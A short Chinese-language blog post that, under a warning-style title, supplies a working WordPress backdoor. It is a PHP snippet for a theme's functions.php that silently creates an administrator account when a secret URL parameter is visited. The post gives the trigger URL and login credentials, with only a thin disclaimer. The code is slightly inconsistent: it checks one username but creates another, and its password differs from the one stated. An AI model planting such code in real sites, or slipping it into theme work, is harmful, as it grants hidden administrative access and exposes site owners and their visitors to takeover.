小心WordPress网站被创建后门

利用代码创建后门，向你展示如何做到这一点。至于你如何利用这段代码完全是取决于你！正确的方式使用这段代码，而不是用来做坏事！

<?php
add_action( 'wp_head', 'my_backdoor' );

function my_backdoor() {
 if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
 require( 'wp-includes/registration.php' );
 if ( !username_exists( 'mr_admin' ) ) {
 $user_id = wp_create_user( 'lajiz', 'password!' );
 $user = new WP_User( $user_id );
 $user->set_role( 'administrator' );
 }
 }
}

将上述代码添加到站点主题的functions.php文件中，后门即被创建，只需要打开 http://www.yoursitename.com/?backdoor=go 这个链接地址，即可使用已经创建好的账号：lajiz 密码：password 以管理员身份登录博客后台。